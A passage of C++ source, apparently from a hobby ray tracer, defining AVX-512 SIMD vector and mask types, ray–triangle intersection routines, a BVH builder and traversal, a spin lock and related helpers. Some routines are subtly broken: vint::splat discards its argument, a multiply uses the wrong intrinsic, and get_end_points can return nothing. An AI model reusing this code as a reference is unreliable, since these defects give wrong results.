= val & (u16)that; return b; } vbool operator&(u32 that) const { vbool b; b.val = val & (u16)that; return b; } vbool operator&(u16 that) const { vbool b; b.val = val & (u16)that; return b; } vbool operator|(i32 that) const { vbool b; b.val = val | (u16)that; return b; } vbool operator|(u32 that) const { vbool b; b.val = val | (u16)that; return b; } vbool operator|(u16 that) const { vbool b; b.val = val | (u16)that; return b; } vbool operator&(vbool const &that) const { vbool b; b.val = val & that.val; return b; } vbool operator||(vbool const &that) const { vbool b; b.val = val | that.val; return b; } vbool operator|(vbool const &that) const { vbool b; b.val = val | that.val; return b; } void set(u32 i) { val |= (1 << i); } void set(u32 i, bool t) { val = (val & ~(1 << i)) | ((t ? 1 : 0) << i); } void dump() const { fprintf(stdout, "vbool: "); ito(16) fprintf(stdout, "%i", is_enabled(i) ? 1 : 0); fprintf(stdout, "\n"); } }; struct TL_Mask { vbool current; vbool stack[0x10]; size_t stack_cursor = 0; void push() { stack[stack_cursor++] = current; ASSERT_DEBUG(stack_cursor <= ARRAY_SIZE(stack)); } void pop() { ASSERT_DEBUG(stack_cursor > 0); current = stack[--stack_cursor]; } void set(vbool b) { current = b; } vbool & cur() { return current; } __mmask16 get() { return current.val; } void enable_all() { current.val = ~0u; } void disable(u32 index) { current.val &= ~(1 << index); } void dump() { fprintf(stdout, "MASK: "); ito(16) { fprintf(stdout, "%i", ((current.val & (1 << i)) != 0) ? 1 : 0); } fprintf(stdout, "\n"); } }; thread_local TL_Mask tl_mask; static inline TL_Mask &mask() { return tl_mask; } static inline vbool & cur_vmask() { return tl_mask.current; } #define VIF(cond) \ do { \ mask().push(); \ cur_vmask() = cond; \ } while (0) #define VENDIF() \ do { \ mask().pop(); \ } while (0) struct vint { static constexpr u32 WIDTH = 16; union { __m512i val; i32 raw[16]; }; vint operator+(vint const &that) const { vint r; r.val = _mm512_maskz_add_epi32(cur_vmask(), this->val, that.val); return r; } vint operator-(vint const &that) const { vint r; r.val = _mm512_maskz_sub_epi32(cur_vmask(), this->val, that.val); return r; } vint operator*(vint const &that) const { vint r; r.val = _mm512_maskz_mul_epi32(cur_vmask(), this->val, that.val); return r; } static vint splat(i32 a) { vint r; r.val = __m512i{}; return r; } vbool operator<(vint const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmplt_epi32_mask(this->val, that.val); return b; } vbool operator<=(vint const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmple_epi32_mask(this->val, that.val); return b; } vbool operator>(vint const &that) const { return vbool{cur_vmask()} & !(*this <= that); } vbool operator>=(vint const &that) const { return vbool{cur_vmask()} & !(*this < that); } vbool operator==(vint const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmpeq_epi32_mask(this->val, that.val); return b; } vbool operator!=(vint const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmpneq_epi32_mask(this->val, that.val); return b; } i32 &operator[](u32 i) { return raw[i]; } i32 operator[](u32 i) const { return raw[i]; } void dump() const { fprintf(stdout, "vint:\n"); ito(16) fprintf(stdout, " %i ", (*this)[i]); fprintf(stdout, "\n"); } }; #define SOP(OP) \ static inline vint operator OP(i32 a, vint const &vf) { \ vint va = vint::splat(a); \ return va OP vf; \ } SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vint operator OP(vint const &vf, i32 a) { \ vint va = vint::splat(a); \ return vf OP va; \ } SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vbool operator OP(i32 a, vint const &vf) { \ vint va = vint::splat(a); \ return va OP vf; \ } SOP(<) SOP(<=) SOP(>) SOP(>=) SOP(==) SOP(!=) #undef SOP #define SOP(OP) \ static inline vbool operator OP(vint const &vf, i32 a) { \ vint va = vint::splat(a); \ return vf OP va; \ } SOP(<) SOP(<=) SOP(>) SOP(>=) SOP(==) SOP(!=) #undef SOP struct vfloat { static constexpr u32 WIDTH = 16; union { __m512 val; f32 raw[16]; }; vfloat operator+(vfloat const &that) const { vfloat r; r.val = _mm512_maskz_add_ps(cur_vmask(), this->val, that.val); return r; } vfloat operator-(vfloat const &that) const { vfloat r; r.val = _mm512_maskz_sub_ps(cur_vmask(), this->val, that.val); return r; } vfloat operator/(vfloat const &that) const { vfloat r; r.val = _mm512_maskz_div_ps(cur_vmask(), this->val, that.val); return r; } vfloat operator*(vfloat const &that) const { vfloat r; r.val = _mm512_maskz_mul_ps(cur_vmask(), this->val, that.val); return r; } vfloat operator-() const { return *this * splat(-1.0f); } static vfloat splat(f32 a) { vfloat r; r.val = _mm512_broadcastss_ps(_mm_set_ss(a)); return r; } vbool operator<(vfloat const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmplt_ps_mask(this->val, that.val); return b; } vbool operator<=(vfloat const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmple_ps_mask(this->val, that.val); return b; } vbool operator>(vfloat const &that) const { return cur_vmask() && !(*this <= that); } vbool operator>=(vfloat const &that) const { return cur_vmask() && !(*this < that); } vbool operator==(vfloat const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmpeq_ps_mask(this->val, that.val); return b; } vbool operator!=(vfloat const &that) const { vbool b; b.val = cur_vmask() & _mm512_cmpneq_ps_mask(this->val, that.val); return b; } static vfloat blend(vfloat const &a, vfloat const &b, vbool const &k) { vfloat r; r.val = _mm512_mask_mov_ps(a.val, k.val, b.val); return r; } f32 &operator[](u32 i) { return raw[i]; } f32 operator[](u32 i) const { return raw[i]; } void dump() const { fprintf(stdout, "vfloat:\n"); ito(16) fprintf(stdout, " %f ", (*this)[i]); fprintf(stdout, "\n"); } #define VOP(OP) \ vfloat operator OP##=(vfloat const &that) { \ *this = *this OP that; \ return *this; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP #define VOP(OP) \ vfloat operator OP##=(f32 that) { \ *this = *this OP splat(that); \ return *this; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP }; #define SOP(OP) \ static inline vfloat operator OP(f32 a, vfloat const &vf) { \ vfloat va = vfloat::splat(a); \ return va OP vf; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vfloat operator OP(vfloat const &vf, f32 a) { \ vfloat va = vfloat::splat(a); \ return vf OP va; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vbool operator OP(f32 a, vfloat const &vf) { \ vfloat va = vfloat::splat(a); \ return va OP vf; \ } SOP(<) SOP(<=) SOP(>) SOP(>=) SOP(==) SOP(!=) #undef SOP #define SOP(OP) \ static inline vbool operator OP(vfloat const &vf, f32 a) { \ vfloat va = vfloat::splat(a); \ return vf OP va; \ } SOP(<) SOP(<=) SOP(>) SOP(>=) SOP(==) SOP(!=) #undef SOP struct vfloat3 { static constexpr u32 WIDTH = 16; vfloat x; vfloat y; vfloat z; #define VOP(OP) \ vfloat3 operator OP(vfloat3 const &that) const { \ vfloat3 r; \ r.x = this->x OP that.x; \ r.y = this->y OP that.y; \ r.z = this->z OP that.z; \ return r; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP #define VOP(OP) \ vfloat3 operator OP##=(vfloat3 const &that) { \ this->x OP## = that.x; \ this->y OP## = that.y; \ this->z OP## = that.z; \ return *this; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP #define VOP(OP) \ vfloat3 operator OP##=(vfloat const &that) { \ this->x OP## = that; \ this->y OP## = that; \ this->z OP## = that; \ return *this; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP #define VOP(OP) \ vfloat3 operator OP##=(f32 that) { \ this->x OP## = that; \ this->y OP## = that; \ this->z OP## = that; \ return *this; \ } VOP(+) VOP(-) VOP(*) VOP(/) #undef VOP // vfloat dot(vfloat3 const &that) const { vfloat rx, ry, rz; rx = this->x * that.x; ry = this->y * that.y; rz = this->z * that.z; vfloat rs = rx + ry + rz; return rs; } vfloat length2() const { return dot(*this); } vfloat ilength() const { vfloat r = length2(); r.val = _mm512_maskz_rsqrt14_ps(cur_vmask(), r.val); return r; } vfloat length() const { vfloat r = length2(); r.val = _mm512_maskz_sqrt_ps(cur_vmask(), r.val); return r; } vfloat3 operator-() const { vfloat3 r; r.x = -this->x; r.y = -this->y; r.z = -this->z; return r; } vfloat3 normalize() const { vfloat ilen = ilength(); vfloat3 r; r.x = this->x * ilen; r.y = this->y * ilen; r.z = this->z * ilen; return r; } static vfloat3 splat(f32 x) { vfloat3 r; r.x = vfloat::splat(x); r.y = vfloat::splat(x); r.z = vfloat::splat(x); return r; } static vfloat3 splat(f32 x, f32 y, f32 z) { vfloat3 r; r.x = vfloat::splat(x); r.y = vfloat::splat(y); r.z = vfloat::splat(z); return r; } static vfloat3 blend(vfloat3 const &a, vfloat3 const &b, vbool const &k) { vfloat3 r; r.x = vfloat::blend(a.x, b.x, k); r.y = vfloat::blend(a.y, b.y, k); r.z = vfloat::blend(a.z, b.z, k); return r; } static inline vfloat3 splat(float3 const &v) { return vfloat3::splat(v.x, v.y, v.z); } void dump() const { fprintf(stdout, "vfloat3:\n"); fprintf(stdout, "x:\n"); ito(16) fprintf(stdout, " %f ", x[i]); fprintf(stdout, "\n"); fprintf(stdout, "y:\n"); ito(16) fprintf(stdout, " %f ", y[i]); fprintf(stdout, "\n"); fprintf(stdout, "z:\n"); ito(16) fprintf(stdout, " %f ", z[i]); fprintf(stdout, "\n"); } float3 extract(u32 i) const { return float3{x[i], y[i], z[i]}; } }; static inline vfloat vdot(vfloat3 const &a, vfloat3 const &b) { return a.dot(b); } static inline vfloat vsign(vfloat const &a) { return vfloat::blend(vfloat::splat(1.0f), vfloat::splat(-1.0f), a < 0.0f); } static inline vfloat vmax(vfloat const &a, vfloat const &b) { return vfloat::blend(a, b, a < b); } static inline vfloat vmin(vfloat const &a, vfloat const &b) { return vfloat::blend(a, b, a > b); } static inline vfloat vmax3(vfloat const &a, vfloat const &b, vfloat const &c) { return vmax(a, vmax(b, c)); } static inline vfloat vmin3(vfloat const &a, vfloat const &b, vfloat const &c) { return vmin(a, vmin(b, c)); } static inline vfloat3 vcross(vfloat3 const &a, vfloat3 const &b) { // a.yzx * b.zxy - a.zxy * b.yzx vfloat3 out; out.x = a.y * b.z - a.z * b.y; out.y = a.z * b.x - a.x * b.z; out.z = a.x * b.y - a.y * b.x; return out; } #define SOP(OP) \ static inline vfloat3 operator OP(f32 a, vfloat3 const &vf) { \ vfloat va = vfloat::splat(a); \ vfloat3 r; \ r.x = va OP vf.x; \ r.y = va OP vf.y; \ r.z = va OP vf.z; \ return r; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vfloat3 operator OP(vfloat3 const &vf, f32 a) { \ vfloat va = vfloat::splat(a); \ vfloat3 r; \ r.x = vf.x OP va; \ r.y = vf.y OP va; \ r.z = vf.z OP va; \ return r; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vfloat3 operator OP(vfloat va, vfloat3 const &vf) { \ vfloat3 r; \ r.x = va OP vf.x; \ r.y = va OP vf.y; \ r.z = va OP vf.z; \ return r; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP #define SOP(OP) \ static inline vfloat3 operator OP(vfloat3 const &vf, vfloat va) { \ vfloat3 r; \ r.x = vf.x OP va; \ r.y = vf.y OP va; \ r.z = vf.z OP va; \ return r; \ } SOP(/) SOP(*) SOP(+) SOP(-) #undef SOP //#endif // UTILS_AVX512 struct vRay { vfloat3 o; vfloat3 d; }; struct Collision { u32 mesh_id, face_id; float3 position; float3 normal; float t, u, v; }; struct vCollision { vint mesh_id, face_id; vfloat3 position; vfloat3 normal; vfloat t, u, v; Collision extract(u32 i) { Collision col; col.mesh_id = mesh_id[i]; col.face_id = face_id[i]; col.position = position.extract(i); col.normal = normal.extract(i); col.t = t[i]; col.v = v[i]; col.u = u[i]; return col; } }; // Möller–Trumbore intersection algorithm static bool ray_triangle_test_moller(vec3 ray_origin, vec3 ray_dir, vec3 v0, vec3 v1, vec3 v2, Collision &out_collision) { ZoneScopedS(16); float invlength = 1.0f / std::sqrt(glm::dot(ray_dir, ray_dir)); ray_dir *= invlength; const float EPSILON = 1.0e-6f; vec3 edge1, edge2, h, s, q; float a, f, u, v; edge1 = v1 - v0; edge2 = v2 - v0; h = glm::cross(ray_dir, edge2); a = glm::dot(edge1, h); if (a > -EPSILON && a < EPSILON) return false; // This ray is parallel to this triangle. f = 1.0 / a; s = ray_origin - v0; u = f * glm::dot(s, h); if (u < 0.0 || u > 1.0) return false; q = glm::cross(s, edge1); v = f * glm::dot(ray_dir, q); if (v < 0.0 || u + v > 1.0) return false; // At this stage we can compute t to find out where the intersection point // is on the line. float t = f * glm::dot(edge2, q); if (t > EPSILON) // ray intersection { out_collision.t = t * invlength; out_collision.u = u; out_collision.v = v; out_collision.normal = glm::normalize(cross(edge1, edge2)); out_collision.normal *= sign(-glm::dot(ray_dir, out_collision.normal)); out_collision.position = ray_origin + ray_dir * t; return true; } else // This means that there is a line intersection but not a ray // intersection. return false; } static inline vbool vray_triangle_test_moller(vfloat3 ray_origin, vfloat3 ray_dir, vfloat3 v0, vfloat3 v1, vfloat3 v2, vCollision &out_collision) { ZoneScopedS(16); // vfloat invlength = ray_dir.ilength(); // ray_dir = ray_dir * invlength; const float EPSILON = 1.0e-6f; vfloat3 edge1, edge2, h, s, q; vfloat a, f, u, v; edge1 = v1 - v0; edge2 = v2 - v0; h = vcross(ray_dir, edge2); a = vdot(edge1, h); vbool vmsk = cur_vmask(); vmsk = vmsk && !(a > -EPSILON && a < EPSILON); if (vmsk.none()) return vmsk; f = 1.0 / a; s = ray_origin - v0; u = f * vdot(s, h); vmsk = vmsk && !(u < 0.0f || u > 1.0f); if (vmsk.none()) return vmsk; q = vcross(s, edge1); v = f * vdot(ray_dir, q); vmsk = vmsk && !(v < 0.0 || u + v > 1.0); if (vmsk.none()) return vmsk; // At this stage we can compute t to find out where the intersection point // is on the line. vfloat t = f * vdot(edge2, q); vmsk = vmsk && t > EPSILON; if (vmsk.none()) return vmsk; out_collision.t = t; // * invlength; out_collision.u = u; out_collision.v = v; out_collision.normal = vcross(edge1, edge2).normalize(); out_collision.normal *= vsign(-vdot(ray_dir, out_collision.normal)); out_collision.position = ray_origin + ray_dir * t; return vmsk; } // Woop intersection algorithm static bool ray_triangle_test_woop(vec3 ray_origin, vec3 ray_dir, vec3 a, vec3 b, vec3 c, Collision &out_collision) { const float EPSILON = 1.0e-4f; vec3 ab = b - a; vec3 ac = c - a; vec3 n = cross(ab, ac); mat4 world_to_local = glm::inverse(mat4( // ab.x, ab.y, ab.z, 0.0f, // ac.x, ac.y, ac.z, 0.0f, // n.x, n.y, n.z, 0.0f, // a.x, a.y, a.z, 1.0f // )); vec4 ray_origin_local = (world_to_local * vec4(ray_origin.x, ray_origin.y, ray_origin.z, 1.0f)); vec4 ray_dir_local = world_to_local * vec4(ray_dir.x, ray_dir.y, ray_dir.z, 0.0f); if (std::abs(ray_dir_local.z) < EPSILON) return false; float t = -ray_origin_local.z / ray_dir_local.z; if (t < EPSILON) return false; float u = ray_origin_local.x + t * ray_dir_local.x; float v = ray_origin_local.y + t * ray_dir_local.y; if (u > 0.0f && v > 0.0f && u + v < 1.0f) { out_collision.t = t; out_collision.u = u; out_collision.v = v; out_collision.normal = glm::normalize(n) * sign(-ray_dir_local.z); out_collision.position = ray_origin + ray_dir * t; return true; } return false; } struct Ray { float3 o; float3 d; }; struct Tri { u32 id; float3 a; float3 b; float3 c; void get_aabb(float3 &min, float3 &max) const { ito(3) min[i] = MIN(a[i], MIN(b[i], c[i])); ito(3) max[i] = MAX(a[i], MAX(b[i], c[i])); } float2 get_end_points(u8 dim, float3 min, float3 max) const { float3 sp; ito(i) sp[i] = MIN(a[i], MIN(b[i], c[i])); float3 ep; ito(i) ep[i] = MAX(a[i], MAX(b[i], c[i])); bool fully_inside = // sp.x > min.x && // sp.y > min.y && // sp.z > min.z && // ep.x < max.x && // ep.y < max.y && // ep.z < max.z && // true; if (fully_inside) return float2{sp[dim], ep[dim]}; } }; static_assert(sizeof(Tri) == 40, "Blamey!"); struct vTri { vint id; vfloat3 a; vfloat3 b; vfloat3 c; void store(u32 i, Tri const &tri) { a.x[i] = tri.a.x; a.y[i] = tri.a.y; a.z[i] = tri.a.z; b.x[i] = tri.b.x; b.y[i] = tri.b.y; b.z[i] = tri.b.z; c.x[i] = tri.c.x; c.y[i] = tri.c.y; c.z[i] = tri.c.z; id[i] = tri.id; } Tri extract(u32 i) const { Tri out; out.id = id[i]; out.a = a.extract(i); out.b = b.extract(i); out.c = c.extract(i); return out; } }; struct BVH_Node { // Bit layout: // +-------------------------+ // | 32 31 30 29 28 27 26 25 | // | 24 23 22 21 20 19 18 17 | // | 16 15 14 13 12 11 10 9 | // | 8 7 6 5 4 3 2 1 | // +-------------------------+ // +--------------+ // | [32:32] Leaf | // +--------------+ // | Leaf: // +->+---------------------+---------------------+ // | | [31:25] Item count | [24:1] Items offset | // | +---------------------+---------------------+ // | // | Branch: // +->+----------------------------+ // | [24:1] First child offset | // +----------------------------+ // constants static constexpr u32 LEAF_BIT = 1 << 31; // Leaf flags: static constexpr u32 ITEMS_OFFSET_MASK = 0xffffff; // 24 bits static constexpr u32 ITEMS_OFFSET_SHIFT = 0; // low bits static constexpr u32 NUM_ITEMS_MASK = 0b1111111; // 7 bits static constexpr u32 NUM_ITEMS_SHIFT = 24; // after first 24 bits static constexpr u32 MAX_ITEMS = 16; // max items // Node flags: static constexpr u32 FIRST_CHILD_MASK = 0xffffff; static constexpr u32 FIRST_CHILD_SHIFT = 0; static constexpr u32 MAX_DEPTH = 20; static constexpr f32 EPS = 1.0e-3f; float3 min; float3 max; u32 flags; bool intersects(float3 tmin, float3 tmax) { return // tmax.x >= min.x && // tmin.x <= max.x && // tmax.y >= min.y && // tmin.y <= max.y && // tmax.z >= min.z && // tmin.z <= max.z && // true; } bool inside(float3 tmin) { return // tmin.x >= min.x && // tmin.x <= max.x && // tmin.y >= min.y && // tmin.y <= max.y && // tmin.z >= min.z && // tmin.z <= max.z && // true; } vbool vinside(vfloat3 tmin) { return // tmin.x >= min.x && // tmin.x <= max.x && // tmin.y >= min.y && // tmin.y <= max.y && // tmin.z >= min.z && // tmin.z <= max.z; } bool intersects_ray(float3 ro, float3 rd, float min_t) { if (inside(ro)) return true; float3 invd = 1.0f / rd; float dx_n = (min.x - ro.x) * invd.x; float dy_n = (min.y - ro.y) * invd.y; float dz_n = (min.z - ro.z) * invd.z; float dx_f = (max.x - ro.x) * invd.x; float dy_f = (max.y - ro.y) * invd.y; float dz_f = (max.z - ro.z) * invd.z; float nt = MAX3(MIN(dx_n, dx_f), MIN(dy_n, dy_f), MIN(dz_n, dz_f)); float ft = MIN3(MAX(dx_n, dx_f), MAX(dy_n, dy_f), MAX(dz_n, dz_f)); if (nt > min_t || nt > ft - EPS) return false; return true; } bool intersects_ray(float3 ro, float3 rd) { if (inside(ro)) return true; float3 invd = 1.0f / rd; float dx_n = (min.x - ro.x) * invd.x; float dy_n = (min.y - ro.y) * invd.y; float dz_n = (min.z - ro.z) * invd.z; float dx_f = (max.x - ro.x) * invd.x; float dy_f = (max.y - ro.y) * invd.y; float dz_f = (max.z - ro.z) * invd.z; float nt = MAX3(MIN(dx_n, dx_f), MIN(dy_n, dy_f), MIN(dz_n, dz_f)); float ft = MIN3(MAX(dx_n, dx_f), MAX(dy_n, dy_f), MAX(dz_n, dz_f)); if (nt > ft - EPS) return false; return true; } vbool vintersects_ray(vfloat3 vro, vfloat3 vrd) { #if 0 vbool vmsk = cur_vmask(); ito(16) { if (vmsk.is_enabled(i)) { vmsk.set(i, intersects_ray(vro.extract(i), vrd.extract(i))); } } return vmsk; #else vfloat3 vinvd = vfloat3::splat(1.0f, 1.0f, 1.0f) / vrd; vfloat vdx_n = (min.x - vro.x) * vinvd.x; vfloat vdy_n = (min.y - vro.y) * vinvd.y; vfloat vdz_n = (min.z - vro.z) * vinvd.z; vfloat vdx_f = (max.x - vro.x) * vinvd.x; vfloat vdy_f = (max.y - vro.y) * vinvd.y; vfloat vdz_f = (max.z - vro.z) * vinvd.z; vfloat vnt = vmax3(vmin(vdx_n, vdx_f), vmin(vdy_n, vdy_f), vmin(vdz_n, vdz_f)); vfloat vft = vmin3(vmax(vdx_n, vdx_f), vmax(vdy_n, vdy_f), vmax(vdz_n, vdz_f)); vft -= EPS; vbool ret = vnt < vft || vinside(vro); return ret; #endif } void init_leaf(float3 min, float3 max, u32 offset) { flags = LEAF_BIT; ASSERT_DEBUG(offset <= ITEMS_OFFSET_MASK); flags |= ((offset << ITEMS_OFFSET_SHIFT)); this->min = min; this->max = max; } void init_branch(float3 min, float3 max, BVH_Node *child) { ptrdiff_t diff = ((u8 *)child - (u8 *)this) / sizeof(BVH_Node); ASSERT_DEBUG(diff > 0 && diff < FIRST_CHILD_MASK); flags = ((u32)diff << FIRST_CHILD_SHIFT); this->min = min; this->max = max; } bool is_leaf() { return (flags & LEAF_BIT) == LEAF_BIT; } u32 num_items() { return ((flags >> NUM_ITEMS_SHIFT) & NUM_ITEMS_MASK); } u32 items_offset() { return ((flags >> ITEMS_OFFSET_SHIFT) & ITEMS_OFFSET_MASK); } BVH_Node *first_child() { return this + (((flags >> FIRST_CHILD_SHIFT) & FIRST_CHILD_MASK)); } void set_num_items(u32 num) { ASSERT_DEBUG(num <= NUM_ITEMS_MASK); flags &= ~(NUM_ITEMS_MASK << NUM_ITEMS_SHIFT); flags |= (num << NUM_ITEMS_SHIFT); } void add_item() { set_num_items(num_items() + 1); } bool is_full() { return num_items() == MAX_ITEMS - 1; } }; struct BVH_Helper { float3 min; float3 max; Array<Tri> tris; BVH_Helper *left; BVH_Helper *right; bool is_leaf; void init() { MEMZERO(*this); tris.init(); min = float3(1.0e10f, 1.0e10f, 1.0e10f); max = float3(-1.0e10f, -1.0e10f, -1.0e10f); is_leaf = true; } void release() { if (left != NULL) left->release(); if (right != NULL) right->release(); tris.release(); MEMZERO(*this); delete this; } void reserve(size_t size) { tris.reserve(size); } void push(Tri const &tri) { ZoneScoped; tris.push(tri); float3 tmin, tmax; tri.get_aabb(tmin, tmax); ito(3) min[i] = MIN(min[i], tmin[i]); ito(3) max[i] = MAX(max[i], tmax[i]); } u32 split(u32 max_items, u32 depth = 0) { ZoneScoped; ASSERT_DEBUG(depth < BVH_Node::MAX_DEPTH); if (tris.size > max_items && depth < BVH_Node::MAX_DEPTH) { left = new BVH_Helper; left->init(); left->reserve(tris.size / 2); right = new BVH_Helper; right->init(); right->reserve(tris.size / 2); struct Sorting_Node { u32 id; float val; }; { TMP_STORAGE_SCOPE; u32 num_items = tris.size; Sorting_Node *sorted_dims[6]; ito(6) sorted_dims[i] = (Sorting_Node *)tl_alloc_tmp(sizeof(Sorting_Node) * num_items); Tri *items = tris.ptr; ito(num_items) { float3 tmin, tmax; items[i].get_aabb(tmin, tmax); jto(3) { sorted_dims[j][i].val = tmin[j]; sorted_dims[j][i].id = i; sorted_dims[j + 3][i].val = tmax[j]; sorted_dims[j + 3][i].id = i; } } ito(6) quicky_sort(sorted_dims[i], num_items, [](Sorting_Node const &a, Sorting_Node const &b) { return a.val < b.val; }); float max_dim_diff = 0.0f; u32 max_dim_id = 0; u32 last_item = num_items - 1; ito(3) { // max - min float diff = sorted_dims[i + 3][last_item].val - sorted_dims[i][0].val; if (diff > max_dim_diff) { max_dim_diff = diff; max_dim_id = i; } } u32 split_index = (last_item + 1) / 2; ito(num_items) { u32 tri_id = sorted_dims[max_dim_id][i].id; Tri tri = tris[tri_id]; if (i < split_index) { left->push(tri); } else { right->push(tri); } } } is_leaf = false; tris.release(); u32 cnt = left->split(max_items, depth + 1); cnt += right->split(max_items, depth + 1); return cnt + 1; } return 1; } }; static_assert(sizeof(BVH_Node) == 28, "Blamey!"); struct BVH { Array<vTri> tri_pool; Array<BVH_Node> node_pool; BVH_Node * root; void gen(BVH_Node *node, BVH_Helper *hnode) { ZoneScoped; ASSERT_ALWAYS(node != NULL); ASSERT_ALWAYS(hnode != NULL); if (hnode->is_leaf) { ASSERT_DEBUG(hnode->tris.size != 0); u32 tri_offset = alloc_tri_chunk(); node->init_leaf(hnode->min, hnode->max, tri_offset); ASSERT_DEBUG(hnode->tris.size <= BVH_Node::MAX_ITEMS); node->set_num_items(hnode->tris.size); vTri *tris = tri_pool.at(node->items_offset()); ito(hnode->tris.size) { tris->store(i, hnode->tris[i]); } } else { BVH_Node *children = node_pool.alloc(2); node->init_branch(hnode->min, hnode->max, children); gen(children + 0, hnode->left); gen(children + 1, hnode->right); } } void init(Tri *tris, u32 num_tris) { // ZoneScopedN("BVH::init()"); BVH_Helper *hroot = new BVH_Helper; hroot->init(); hroot->reserve(num_tris); defer(hroot->release()); ito(num_tris) { hroot->push(tris[i]); } u32 ncnt = hroot->split(BVH_Node::MAX_ITEMS); tri_pool.init(); node_pool.init(); tri_pool.reserve(num_tris * 4); node_pool.reserve(ncnt); root = node_pool.alloc(1); gen(root, hroot); } u32 alloc_tri_chunk() { vTri *new_chunk = tri_pool.alloc(1); MEMZERO(*new_chunk); vTri *tri_root = tri_pool.at(0); return (u32)(((u8 *)new_chunk - (u8 *)tri_root) / sizeof(vTri)); } void release() { tri_pool.release(); node_pool.release(); } template <typename F> void traverse(float3 ro, float3 rd, F fn) { if (!root->intersects_ray(ro, rd)) return; traverse(root, ro, rd, fn); } template <typename F> void traverse(BVH_Node *node, float3 ro, float3 rd, F fn) { ZoneScoped; if (node->is_leaf()) { vTri *tris = tri_pool.at(node->items_offset()); u32 num_tris = node->num_items(); ASSERT_ALWAYS(num_tris <= vfloat3::WIDTH); fn(*tris); } else { BVH_Node *children = node->first_child(); BVH_Node *left = children + 0; BVH_Node *right = children + 1; if (left->intersects_ray(ro, rd)) traverse(left, ro, rd, fn); if (right->intersects_ray(ro, rd)) traverse(right, ro, rd, fn); } } template <typename F> void vtraverse(vfloat3 ro, vfloat3 rd, F fn) { mask().set(root->vintersects_ray(ro, rd)); if (mask().cur().none()) return; vtraverse(root, ro, rd, fn); } template <typename F> void vtraverse(BVH_Node *node, vfloat3 ro, vfloat3 rd, F fn) { ZoneScoped; if (node->is_leaf()) { vTri *tris = tri_pool.at(node->items_offset()); u32 num_tris = node->num_items(); ASSERT_ALWAYS(num_tris <= vfloat3::WIDTH); fn(*tris, num_tris); } else { BVH_Node *children = node->first_child(); BVH_Node *left = children + 0; BVH_Node *right = children + 1; vbool vmask = mask().cur(); mask().set(left->vintersects_ray(ro, rd)); if (mask().cur().any()) vtraverse(left, ro, rd, fn); mask().set(vmask); mask().set(right->vintersects_ray(ro, rd)); if (mask().cur().any()) vtraverse(right, ro, rd, fn); mask().set(vmask); } } }; void vec_test() { mask().enable_all(); // mask().disable(0); // mask().disable(5); //{ // vfloat a = vfloat::splat(1.0f); // vfloat b = vfloat::splat(2.0f); // vfloat c = a + b; // mask().dump(); // c.dump(); //} //{ // vfloat3 a = vfloat3::splat(1.0f, 2.0f, 3.0f); // vfloat3 b = vfloat3::splat(-2.0f, -3.0f, 5.0f); // vfloat3 c = (1.0f + a + b * 2.0f).normalize(); // c.dump(); // c.x = vsign(c.x); // c.y = vsign(c.y); // c.z = vsign(c.z); // c.dump(); //} //{ // vfloat3 a = vfloat3::splat(1.0f, 0.0f, 0.0f); // vfloat3 b = vfloat3::splat(0.0f, 4.0f, 0.0f); // vfloat3 c = vcross(a, b).normalize(); // c.dump(); //} { vfloat a; kto(16) { a[k] = (f32)k; } vfloat b = vfloat::splat(5.0f); a.dump(); b.dump(); (a + b).dump(); (a < b).dump(); (a > b).dump(); (a == b).dump(); (a > b || a == b || a < b).dump(); } } void sort_test() { int arr[] = { 27, 12, 3, 32, 46, 97, 32, 60, 56, 91, 69, 76, 7, 95, 25, 86, 96, 5, 88, 88, 42, 30, 35, 74, 93, 28, 82, 23, 98, 31, 22, 55, 53, 23, 45, 78, 46, 97, 34, 63, 60, 91, 99, 58, 73, 53, 75, 63, 88, 32, 66, 13, 100, 44, 22, 37, 23, 29, 70, 51, 51, 76, 66, 15, 39, 48, 85, 13, 89, 97, 17, 36, 41, 75, 92, 43, 29, 82, 31, 59, 67, 26, 49, 38, 20, 2, 98, 70, 31, 9, 79, 48, 11, 4, 44, 1, 49, 73, 90, 70, }; kto(1000) { quicky_sort(arr, ARRAYSIZE(arr), [](int a, int b) { return a < b; }); ito(ARRAYSIZE(arr) - 1) { ASSERT_ALWAYS(arr[i] <= arr[i + 1]); } jto(ARRAYSIZE(arr)) arr[j] = rand(); } } struct Camera { float3 position; float3 look; float3 up; float3 right; float fov; }; Camera gen_camera(float phi, float theta, float r, float3 lookat, float fov) { Camera cam; cam.position = r * float3(sin(theta) * cos(phi), cos(theta), sin(theta) * sin(phi)); cam.look = -normalize(cam.position); cam.position += lookat; cam.right = -normalize(cross(cam.look, float3(0.0, 1.0, 0.0))); cam.up = -cross(cam.right, cam.look); cam.fov = fov; return cam; } Ray gen_ray(Camera cam, float2 uv) { Ray r; r.o = cam.position; r.d = normalize(cam.look + cam.fov * (cam.right * uv.x + cam.up * uv.y)); return r; } inline void nop() { #if defined(_WIN32) __noop(); #else __asm__ __volatile__("nop"); #endif } inline static uint64_t get_thread_id() { auto id = std::this_thread::get_id(); return std::hash<std::thread::id>()(id); } struct Spin_Lock { std::atomic<u32> rw_flag; void lock() { ZoneScopedS(16); u32 expected = 0; while (!rw_flag.compare_exchange_strong(expected, 1)) { expected = 0; while (rw_flag.load() != 0) { ito(16) nop(); // yield } } } void unlock() { rw_flag.store(0); } }; // Poor man's queue // Not thread safe in all scenarios but kind of works in mine // @Cleanup template <typename Job_t> struct Queue { template <typename Job_t> struct Batch { Job_t * 